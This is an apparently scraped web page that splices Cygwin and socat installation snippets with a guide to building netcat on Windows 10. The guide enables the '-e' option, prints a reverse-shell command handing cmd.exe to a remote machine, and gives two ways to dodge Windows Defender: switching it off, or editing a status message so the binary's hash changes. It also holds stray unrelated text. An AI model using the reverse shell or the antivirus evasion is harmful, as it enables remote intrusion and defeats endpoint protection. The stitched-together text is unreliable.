16-09-2021

Complete Walkthrough on How to Install Cygwin on Windows.Instructions:First step: Check the System type of your computer (32 bit or 64 bit).Second step:http. Socat - Multipurpose relay (cloned from git://repo.or.cz/socat.git) - I am not the project owner, please submit bugs to socat@dest-unreach.org - craSH/socat. Cd socat./configure; make; A socat binary will be in the root of the socat repo; Optional make install (will install socat into your path) Windows: Install Cygwin with the following additional packages: gcc-g; gcc-core; cygwin32-gcc-g; cygwin32-gcc-core; make; Using Cygwin, clone or download the zip for this repo git clone https://github.

Install Socat Ubuntu

These steps will compile an executable (default: nc.exe) on a Windows 10 machine. This build will enable the “-e” command line option (also known as “GAPING_SECURITY_HOLE”). The “-e” option allows you to pass a command into NetCat; example:

To create a reverse shell:

nc <remote control machine> <remote control port> -e cmd.exe

The caveat for Windows 10 is that Window’s Defender detects nc.exe as being “malware” and deletes it. Therefore beware the git repo we use here does have a compiled version. If you have Windows Defender active this file will likely be deleted. When you compile a new nc.exe it too will likely be deleted.

Window Defender Workaround

You have two easy options to get around Window Defender.

  1. Disable Windows Defender while you use netcat or;
  2. Before you compile edit a source file. There are numerous areas, especially in netcat.c where status messages (such as at line 381) are sent as output to a terminal. If you change the message, then compile, you will change the hash of the file. Windows Defender seems to be largely tied to file hashes.

Let’s Build NetCat

It is useful if you are using an account with elevated permissions.

1) Download the Windows NetCat source code.
2) Download MinGW

3) Configure MinGW
3a) If the MinGW “Installation Manager” does not auto-start after the installation of MinGW has completed run it:

Start>MinGW Installation Manager

4) From the MinGW Installation Manager I needed to select the following plugins:
4a) mingw32-developer-toolkit
4b) mingw32-base
4c) mingw32-gcc-g++
4d) mingw32-gcc-objc
4e) mysys-base

Linux Socat Install

5) Apply the selected plugins:

Socat Ubuntu

Install

Installation > Apply Changes

6) Make sure your PATH system variable includes a reference to the MinGW DLLs.
6a) The default path is:

C:MinGWbin

6b) Start > Control Panel > Advanced Settings > Environment Variables
6c) Select “Path” from “User variables for [your user name]”.
6d) Select Edit…
6e) Add the path the the DLL folder (default: c:MinGWbin).
6f) Apply Changes / Close Control Panel Windows
6g) Restart Windows

7) Verify the gcc compiler is includes references to the DLL path.
7a) Open CMD and type:

gcc -print-search-dirs

7b) Amoung other things you should see references to /mingw32/bin

8) Still in CMD navigate to the folder which holds the NetCat source files.
8a) Run makewin.cmd
8b) You may get the following error:

Access is denied.

0 file(s) copied.

Operation Completed

As long as there are no other errors (not talking about warnings) you should be fine. What happens is the default makewin.cmd script attempts to copy the newly complied nc.exe file into your system32 folder (which if you get this error cannot be done because that folder is protected). This error can be ignored as you have the compiled binary in the folder you are currently in. Game gundam seed lf2.

8c) There will be some warnings that look like errors.

You now have a compiled nc.exe which is able to run on Windows 10. You can pass in the -e argument.

Read up on how to use NetCat:

While compiling socat-2.0.0-b5 on cygwin (Windows) I got a few errors and here’s how I fixed it:
xioopts.c: In function 'applyopts_single':
xioopts.c:3998: error: 'struct single' has no member named 'fd1'
xioopts.c:4000: error: 'struct single' has no member named 'fd1'
make[1]: *** [xioopts.o] Error 1

Edit the file xioopts.c in your favorite editor and replace ‘fd1’ by ‘rfd’ in both lines (3998 & 4000). That fixed this error but then I got my next error.

xio-ip.c:480: error: structure has no member named `ipi_spec_dst'
Edit xio-ip.c and comment out the entire snprintf statement in xio-ip.c line 480.

Continue compilation and it should now work fine.